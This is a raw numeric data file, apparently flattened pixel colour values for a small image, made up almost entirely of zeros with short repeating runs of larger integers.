0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,921102,14869218,921102,0,0,0,921102,15198183,1907997,1579032,15198183,592137,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,921102,14869218,921102,0,0,0,592137,14869218,15198183,15527148,15198183,921102,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,921102,14869218,1250067,328965,328965,0,328965,592137,921102,1579032,15198183,921102,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,921102,14869218,1579032,14869218,921102,592137,328965,592137,328965,1250067,14869218,921102,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,921102,14869218,1907997,15198183,15198183,592137,14540253,921102,14540253,1250067,14869218,921102,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,921102,14869218,1579032,15198183,1250067,1250067,921102,15527148,921102,1579032,14869218,921102,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,921102,14869218,1250067,592137,14540253,592137,14540253,921102,14540253,1250067,14869218,921102,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,921102,14869218,1250067,592137,592137,592137,328965,592137,328965,1250067,14869218,921102,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,921102,14869218,1579032,14869218,921102,592137,592137,921102,921102,1579032,15198183,921102,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,921102,14869218,1907997,15198183,15198183,921102,14607584,15068394,15002085,15724782,15460837,921102,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,921102,14869218,1579032,15198183,1250067,1579032,15068394,2144339,3709652,14922800,15527658,921102,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,921102,14869218,1250067,592137,14540253,1250067,15002085,3709652,1684551,7006176,15462119,921102,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,921102,15198183,1579032,1250067,1250067,1907997,15724782,14922800,7006176,14810501,15528172,921102,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,592137,14869218,15198183,14869218,14869218,15198183,15460837,15527658,15462119,15528172,15132642,592137,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,328965,592137,921102,921102,921102,921102,921102,921102,921102,921102,592137,328965,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,